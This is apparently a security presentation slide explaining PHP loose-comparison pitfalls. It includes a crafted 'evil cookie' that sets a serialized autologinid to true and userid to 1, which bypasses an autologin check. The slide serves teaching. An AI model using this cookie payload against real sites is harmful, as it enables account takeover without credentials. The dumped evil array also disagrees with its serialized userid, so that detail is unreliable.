Attack Alert :: Syntax
Attack Alert :: Syntax
Dynamic Types and Comparison functions.
== Equal (!=)
=== Identical (!==)
if
(
0
==
'gumby'
)
// This is true
if
(
5
==
'5gumby'
)
// This is true
if
(
TRUE
==
'something'
)
// This is true
Good cookie:
a:
2
:
{
s:
11
:
"autologinid"
;s:
32
:
"7f983e...23c"
;s:
6
:
"userid"
;i:
22
;
}
array
(
2
)
{
[
"autologinid"
]
=> string
(
32
)
"7f983e...23c"
[
"userid"
]
=> int
(
22
)
}
Code:
if
(
$
sessiondata
[
'autologinid'
]
==
$
auto_login_key
)
Evil cookie:
a:
2
:
{
s:
11
:
"autologinid"
;b:
1
;s:
6
:
"userid"
;i:
1
;
}
array
(
2
)
{
[
"autologinid"
]
=> bool
(
true
)
[
"userid"
]
=> int
(
22
)
}